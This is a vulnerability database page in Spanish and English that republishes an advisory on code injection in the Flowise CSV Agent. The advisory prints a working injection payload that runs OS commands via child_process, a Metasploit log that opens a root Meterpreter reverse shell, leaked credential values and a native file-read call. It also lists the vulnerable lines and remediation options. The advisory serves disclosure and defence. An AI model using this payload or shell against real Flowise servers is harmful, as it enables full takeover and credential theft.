Crítica

Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified

  • Publicada: 04.08.2026
  • Actualizado: 11.10.2026 10:22

UPDATE 2026-05-20: Full RCE as root VERIFIED

This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.

Verified Exploit Chain

  1. Python code injection via base64_string = "${base64String}" (CSVAgent.ts line 161)
  2. Pyodide js bridge provides access to the host Node.js process
  3. process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction)
  4. .execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)

Working RCE Payload

";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");#

Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas.

Metasploit Session Proof

msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit

[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)

meterpreter > getuid
Server username: root

meterpreter > sysinfo
Computer     : cbce3fb352b7
OS           : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter  : x64/linux

meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux

Additional Verified Impact

Credential Theft:

FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...

Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7

Server DoS — certain native binding calls (spawn_sync) crash the Node.js process entirely.

CVSS v3.1: 9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H


Original Report (below)

Vulnerable Code

File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

Lines 133-138 — Unsanitized string extraction from data URI via file.split(',').pop().pop() — no validation on content.

Lines 155-171 — Direct interpolation into executable Python code: base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.

validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.

Remediation

Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation

Option 2: Validate base64 before interpolation — reject if not matching /^[A-Za-z0-9+/=]*$/

Option 3: Escape special characters (", \n, \r, \\) before interpolation

Related CVEs

  • CVE-2026-41264 (CSV Agent regex bypass)
  • CVE-2026-41265 (Airtable Agent sandbox bypass)
  • CVE-2026-46442 (NodeVM sandbox escape)

Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm flowise < 3.1.3 3.1.3
Paquete de npm flowise-components < 3.1.3 3.1.3

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-94
Plataforma
npm
Paquete
flowise, flowise-components
Publicada
04.08.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-vmv7-4m6c-3cg5 - CC BY 4.0

Historial de vulnerabilidades: flowise-components

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (31) en el archivo
Entradas en total
31
Primera → última
04.2025 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 16
  • Alta 12
  • Media 3

Divulgaciones por año

  1. 2025: 3
  2. 2026: 28
Gravedad:
  1. Crítica CVE-2026-69259 < 3.1.3 3.1.3
  2. Crítica CVE-2026-69256 < 3.1.3 3.1.3
  3. Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified esta entrada
    Crítica CVE-2026-69255 < 3.1.3 3.1.3
  4. Crítica CVE-2026-69253 < 3.1.3 3.1.3
  5. Crítica CVE-2026-69251 < 3.1.3 3.1.3
  6. Alta CVE-2026-56274 < 3.1.2 3.1.2
  7. Alta CVE-2026-41274 < 3.1.0 3.1.0
  8. Alta · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  9. Alta · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
Mostrar más (8) Mostrando 20 de 28

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.